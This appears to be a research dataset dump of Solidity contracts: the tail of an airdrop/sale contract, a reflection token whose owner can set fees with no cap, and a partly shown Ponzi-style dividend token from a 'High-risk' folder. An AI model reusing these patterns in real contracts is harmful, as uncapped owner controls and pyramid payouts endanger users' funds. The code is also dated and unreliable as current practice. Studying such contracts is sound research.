function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether;
uint256 bonusCond2 = 3 ether;
uint256 bonusCond3 = 5 ether;
uint256 bonusCond4 = 7 ether;
uint256 bonusCond5 = 9 ether;
uint256 bonusCond6 = 11 ether;
uint256 bonusCond7 = 13 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 1 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 3 / 100;
}else if(msg.value >= bonusCond3 && msg.value < bonusCond4){
countbonus = tokens * 5 / 100;
}else if(msg.value >= bonusCond4 && msg.value < bonusCond5){
countbonus = tokens * 7 / 100;
}else if(msg.value >= bonusCond5 && msg.value < bonusCond6){
countbonus = tokens * 9 / 100;
}else if(msg.value >= bonusCond6 && msg.value < bonusCond7){
countbonus = tokens * 11 / 100;
}else if(msg.value >= bonusCond7){
countbonus = tokens * 13 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 1 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 3 / 100;
}else if(msg.value >= bonusCond3 && msg.value < bonusCond4){
countbonus = tokens * 5 / 100;
}else if(msg.value >= bonusCond4 && msg.value < bonusCond5){
countbonus = tokens * 7 / 100;
}else if(msg.value >= bonusCond5 && msg.value < bonusCond6){
countbonus = tokens * 9 / 100;
}else if(msg.value >= bonusCond6 && msg.value < bonusCond7){
countbonus = tokens * 11 / 100;
}else if(msg.value >= bonusCond7){
countbonus = tokens * 13 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 1000e8;
if (Claimed[investor] == false && progress0drop <= target0drop) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require(msg.value >= requestMinimum);
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if(now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require(msg.value >= requestMinimum);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
multisig.transfer(msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success)
{
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public
returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
| 163,238 | 12,764 |
d845ab4daa675363e2c2aebb7cfc8b5f8bb0814be773726582d57a46ee99cb74
| 29,307 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x21F2d04191cC95718ebDb166C53Ef8B8E5F21DEa/contract.sol
| 5,103 | 18,308 |
//https://explosion.finance/
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ExplosionFinance is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint8 private constant _decimals = 8;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 20000000 * 10 ** uint256(_decimals);
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Explosion.Finance';
string private constant _symbol = 'EXP';
uint256 private _taxFee = 150;
uint256 private _burnFee = 150;
uint private _max_tx_size = 200000 * 10 ** uint256(_decimals);
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _getMaxTxAmount() public view returns(uint256){
return _max_tx_size;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
}
| 251,212 | 12,765 |
6861ec38e2292f18768af7881ef73b8d024fee612ca2fca804b936783831e745
| 25,231 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/High-risk/0x7e7E645e9121ddDAf87D0434Feb9F113D1DbBB41.sol
| 4,715 | 18,205 |
pragma solidity ^0.4.20;
contract StrongHold {
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
// administrators can:
// -> change the name of the contract
// -> change the name of the token
// they CANNOT:
// -> take funds
// -> disable withdrawals
// -> kill the contract
// -> change the price of tokens
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[keccak256(_customerAddress)]);
_;
}
// ensures that the first tokens in the contract will be equally distributed
// meaning, no divine dump will be ever possible
// result: healthy longevity.
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
// are we still in the vulnerable phase?
// if so, enact anti early whale protocol
if(onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_)){
require(// is the customer in the ambassador list?
ambassadors_[_customerAddress] == true &&
// does the customer purchase exceed the max ambassador quota?
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_);
// updated the accumulated quota
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
// execute
_;
} else {
// in case the ether count drops low, the ambassador phase won't reinitiate
onlyAmbassadors = false;
_;
}
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
// ERC20
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "POStrongBody";
string public symbol = "PSB";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 20; // 20% to enter the strong body coins
uint8 constant internal transferFee_ = 10; // 10% transfer fee
uint8 constant internal refferalFee_ = 35; // 35% from enter fee divs or 7% for each invite, great for inviting strong bodies
uint8 constant internal exitFee_ = 25; // 25% for selling, weak bodies out
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
// proof of stake (defaults at 50 tokens)
uint256 public stakingRequirement = 50e18;
// ambassador program
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 1 ether;
uint256 constant internal ambassadorQuota_ = 20 ether; // Ocean's -Thirteen- TwentyFive (Big Strong Bodies)
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
// administrator list (see above on what they can do)
mapping(bytes32 => bool) public administrators;
bool public onlyAmbassadors = true;
function StrongHold()
public
{
// add administrators here
administrators[0xfab95f62dea147f9ac2469c368611c7bfc37e6c92680a158d1c8c390253ba8ee] = true;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest()
onlyStronghands()
public
{
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
function withdraw()
onlyStronghands()
public
{
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
// also disables transfers until ambassador phase is over
// (we dont want whale premines)
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// liquify 10% of the tokens that are transfered
// these are dispersed to shareholders
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
function setAdministrator(bytes32 _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if(// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
